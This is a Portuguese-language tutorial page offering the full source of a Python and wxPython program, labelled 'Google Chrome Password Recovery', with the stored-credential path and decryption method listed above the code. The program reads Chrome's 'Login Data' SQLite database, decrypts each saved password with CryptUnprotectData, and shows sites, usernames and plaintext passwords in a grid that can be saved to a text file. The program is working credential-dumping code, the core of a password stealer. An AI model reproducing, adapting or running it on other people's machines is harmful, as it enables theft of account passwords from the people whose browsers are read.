
Requisitos

Linguagem:  Python.

Nivel: Fácil.

Modulos Externos Python: Download WxPython PyWin32

Detalhes Sobre a Criptografia: CryptUnprotectData

Detalhes Sobre o Armazenamento de credenciais Google Chrome: SQLLite

Local físico de armazenamento das credenciais: C:\Users\Usuario\AppData\Local\Google\Chrome\User Data\Default

Nome do banco de dados: Login Data

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Windows, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/google-chome-pass-recovery/source/browse/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Google Chrome.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.2 - Betha
# CapturaSenhaChrome.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import win32crypt
import sqlite3
import os
import getpass
import datetime
import platform

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuário (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Conecta ao banco de dados do usuario local
# Requer elevação de privilegios se o Chrome estiver aberto
conn = sqlite3.connect(os.getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

# Captura informações de login
cursor.execute('SELECT action_url, username_value, password_value FROM logins')

# Retorna resultados
resultado = cursor.fetchall()
for result in resultado:
  # Descriptografa senha
  # CryptUnprotectData requer o contexto do usuario local
  senha = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  if senha:
      captura = [result[0], result[1], senha]
      dados.append(captura)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario

class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "Google Chrome Password Recovery", size=(880, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar")
        menu.Append(5001, "Sai&r")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Informação sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Set today date in the second field
        self.SetStatusText("Estação: " + os.environ['COMPUTERNAME'], 0)
        self.SetStatusText("Usuario: " + getpass.getuser(), 1)
        self.SetStatusText("Data Atual: " + dataA, 2)
        self.SetStatusText(self.plataforma(), 3)
        self.SetStatusText("Desenvolvimento Aberto - 2014", 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 430)
        grid.SetColSize(1, 230)
        grid.SetColSize(2, 108)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "Google Chrome Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma().replace("OS:","") + "\n" + \
                   "Estação: " + os.environ['COMPUTERNAME'] + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-mail: desenvolvimento.aberto@live.com\n" + \
                "Versão: 1.2 - Betha\n\n" + \
                "Coogle Code:\n" + \
                "http://code.google.com/p/google-chome-pass-recovery"
        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()